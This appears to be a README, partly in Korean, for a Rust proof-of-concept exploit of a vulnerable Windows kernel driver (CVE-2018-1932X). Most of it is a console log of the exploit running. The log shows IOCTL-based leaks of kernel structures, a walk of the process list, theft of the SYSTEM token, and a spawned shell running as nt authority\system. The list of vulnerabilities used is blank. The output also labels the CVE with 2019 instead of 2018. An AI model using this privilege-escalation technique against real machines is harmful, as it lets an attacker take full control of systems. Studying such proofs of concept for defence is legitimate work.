bkreisel/cve-2018-1932xCVE-2018-1932X 커널 드라이버 취약점을 위한 Rust PoC
대상이 메모리 안전하지 않다고 해서 익스플로잇까지 그래야 하는 것은 아닙니다!
사용된 취약점:
테스트 환경:
Windows 10 Kernel Version 19041 MP (1 procs) Free x64.\CVE-2018-1932X.exe
PS Z:\CVE-2018-1932X\target\debug> .\CVE-2018-1932X.exe
CVE-2019-1932X
Opening Handle to Kernel Driver: \\.\GIO
Acquired Handle: 0xa8
Sending IOCTL: 0xc3502580 with 0x10 bytes of data
[+] Leaked _KPCR: ffffe48159d88000
[*] Address _KPCRB: ffffe48159d88020
Sending IOCTL: 0xc3502808 with 0x14 bytes of data
[+] Leaked _KPRCB: ffffe48159d88180
[*] Address _KTHREAD: ffffe48159d88188
Sending IOCTL: 0xc3502808 with 0x14 bytes of data
[+] Leaked _KTHREAD: ffffb50b14d16080
[*] Address _KPROCESS: ffffb50b14d162a0
Sending IOCTL: 0xc3502808 with 0x14 bytes of data
[+] Leaked _KPROCESS: ffffb50b1507f080
[*] Address PID: ffffb50b1507f4c0
Sending IOCTL: 0xc3502808 with 0x14 bytes of data
[+] Leaked PID: 2092
[+] Known PID: 2092
Walking Active Process Links...
[*] Address ActiveProcessLinks.Flink: ffffb50b1507f4c8 (PID: 82c)
Sending IOCTL: 0xc3502808 with 0x14 bytes of data
Sending IOCTL: 0xc3502808 with 0x14 bytes of data
[+] Leaked _EPROCESS: fffff8015561e060 (PID: 0)
[*] Address ActiveProcessLinks.Flink: fffff8015561e060 (PID: 0)
Sending IOCTL: 0xc3502808 with 0x14 bytes of data
Sending IOCTL: 0xc3502808 with 0x14 bytes of data
[+] Leaked _EPROCESS: ffffb50b100624c8 (PID: 4)
Sending IOCTL: 0xc3502808 with 0x14 bytes of data
Sending IOCTL: 0xc3502808 with 0x14 bytes of data
[+] Current Token: ffff9708cac8306e
[+] System Token: ffff9708c567b047
Borrowing SYSTEM Token...
Sending IOCTL: 0xc3502808 with 0x14 bytes of data
Sending IOCTL: 0xc3502808 with 0x14 bytes of data
[+] Current Token: ffff9708c567b047
Spawning Process...
[+] Spawned SYSTEM Process
Closing Handle to Kernel Driver: \\.\GIO
생성된 PowerShell:
PS C:\> whoami
nt authority\system
